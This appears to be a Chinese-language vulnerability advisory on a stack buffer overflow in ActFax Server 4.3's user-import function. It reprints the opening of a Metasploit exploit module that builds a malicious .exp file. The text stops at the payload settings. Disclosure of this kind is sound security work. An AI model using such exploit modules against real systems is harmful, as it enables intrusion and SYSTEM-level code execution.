发布日期：2012-09-07
更新日期：2012-09-11
受影响系统：
ActFax ActFax
描述：
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BUGTRAQ ID: 55457
ActFax Server是在Windows或UNIX的应用软件中收发传真的传真服务器软件。
ActFax (ActiveFax Server)的Import Users from File()函数存在远程栈缓冲区溢出漏洞，成功利用可以系统级别的权限执行任意代码。
<*来源：Craig Freyman
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in ActiveFax Server. The vulnerability is
a stack based buffer overflow in the "Import Users from File" function, due to the
insecure usage of strcpy while parsing the csv formatted file. The module creates a
.exp file that must be imported with ActiveFax Server. The module has been tested
successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the
Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', # Vulnerability discovery and PoC
'Brandon Perry', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'EDB', '20915' ],
[ 'URL', 'http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 4000,
'BadChars' => "",
'DisableNops' => true,
},